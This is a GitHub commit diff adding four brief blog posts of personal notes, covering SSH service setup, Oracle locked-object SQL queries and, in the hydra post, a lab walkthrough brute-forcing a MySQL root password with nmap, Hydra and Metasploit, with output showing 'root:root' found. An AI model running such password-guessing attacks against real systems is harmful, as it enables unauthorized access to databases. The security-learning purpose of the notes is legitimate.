Skip to content

Commit 58e95d8

Browse files
author
baoguo
committed
add
1 parent bc2d12e commit 58e95d8

File tree

4 files changed

+172
-0
lines changed

4 files changed

+172
-0
lines changed

_posts/2023-09-07-621-kali.md

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
---
2+
layout: post
3+
title: kali
4+
pid: 622
5+
tags: [linux, kali]
6+
---
7+
8+
9+
10+
11+
12+
```
13+
kali - kali
14+
15+
16+
```
17+
18+
19+

_posts/2023-09-07-622-ssh.md

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
---
2+
layout: post
3+
title: ssh
4+
pid: 622
5+
tags: [linux, kali]
6+
---
7+
8+
9+
10+
11+
12+
```
13+
sudo systemctl status ssh
14+
sudo systemctl start ssh
15+
16+
vim /etc/ssh/sshd_config
17+
PermitRootLogin prohibit-password
18+
PubkeyAuthentication yes
19+
20+
sudo systemctl reload ssh
21+
22+
log
23+
/var/log/auth.log
24+
/var/log/secure
25+
26+
27+
```
28+
29+
30+

_posts/2023-09-07-623-hydra.md

Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
---
2+
layout: post
3+
title: hydra
4+
pid: 623
5+
tags: [linux, kali]
6+
---
7+
8+
9+
## mysql
10+
11+
12+
13+
```
14+
mysql -h 主机名称 -u 用户名 -p
15+
hydra -l 用户名 -P 密码字典路径 目标主机ip mysql
16+
17+
mysql -h 192.168.31.42 -u root -p
18+
19+
nmap -p 3306 192.168.31.0/24
20+
```
21+
22+
```
23+
Nmap scan report for WIN-T81MNRCRHJI (192.168.31.42)
24+
Host is up (0.071s latency).
25+
26+
PORT STATE SERVICE
27+
3306/tcp open mysql
28+
```
29+
30+
```
31+
hydra -l root -P '/home/kali/password.txt' 192.168.31.42 mysql
32+
```
33+
34+
```
35+
┌──(kali㉿kali)-[~]
36+
└─$ hydra -l root -P '/home/kali/password.txt' 192.168.31.42 mysql
37+
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
38+
39+
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-07 01:48:16
40+
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
41+
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:1/p:4), ~1 try per task
42+
[DATA] attacking mysql://192.168.31.42:3306/
43+
[3306][mysql] host: 192.168.31.42 login: root password: root
44+
1 of 1 target successfully completed, 1 valid password found
45+
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-09-07 01:48:19
46+
47+
```
48+
49+
50+
51+
## Metasploit(MSF渗透)
52+
53+
```
54+
msfconsole
55+
use auxiliary/scanner/mysql/mysql_login
56+
show options
57+
58+
set rhosts 192.168.31.42
59+
set rport 3306
60+
set username root
61+
set pass_file /home/kali/password.txt
62+
run
63+
```
64+
65+
```
66+
[+] 192.168.31.42:3306 - 192.168.31.42:3306 - Found remote MySQL version 5.5.40
67+
[!] 192.168.31.42:3306 - No active DB -- Credential data will not be saved!
68+
[-] 192.168.31.42:3306 - 192.168.31.42:3306 - LOGIN FAILED: root: (Incorrect: Access denied for user 'root'@'192.168.31.230' (using password: NO))
69+
[-] 192.168.31.42:3306 - 192.168.31.42:3306 - LOGIN FAILED: root:1212 (Incorrect: Access denied for user 'root'@'192.168.31.230' (using password: YES))
70+
[-] 192.168.31.42:3306 - 192.168.31.42:3306 - LOGIN FAILED: root:3424 (Incorrect: Access denied for user 'root'@'192.168.31.230' (using password: YES))
71+
[+] 192.168.31.42:3306 - 192.168.31.42:3306 - Success: 'root:root'
72+
[*] 192.168.31.42:3306 - Scanned 1 of 1 hosts (100% complete)
73+
[*] Auxiliary module execution completed
74+
```
75+
76+
77+
Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
---
2+
layout: post
3+
title: locked_object
4+
pid: 624
5+
tags: [oracle, kali]
6+
---
7+
8+
9+
10+
```
11+
SELECT
12+
s.USERNAME ,
13+
s.STATUS ,
14+
s.SCHEMANAME ,
15+
s.OSUSER ,
16+
s.PROCESS ,
17+
s.MACHINE ,
18+
s.PROGRAM
19+
FROM
20+
v$session s
21+
WHERE
22+
s.STATUS = 'ACTIVE';
23+
24+
SELECT * FROM "V$TRANSACTION" ;
25+
26+
SELECT
27+
s.username,
28+
s.status,
29+
s.OSUSER,
30+
do.object_name,
31+
do.object_type,
32+
s.process,
33+
s.machine,
34+
s.PROGRAM,
35+
lo.PROCESS
36+
FROM
37+
v$locked_object lo
38+
LEFT JOIN DBA_OBJECTS do ON
39+
lo.OBJECT_ID = do.OBJECT_ID
40+
LEFT JOIN v$session s ON
41+
lo.ORACLE_USERNAME = s.USERNAME
42+
AND lo.OS_USER_NAME = s.OSUSER;
43+
44+
ALTER TABLE <表名> UNLOCK;
45+
```
46+

0 commit comments

Comments
 (0)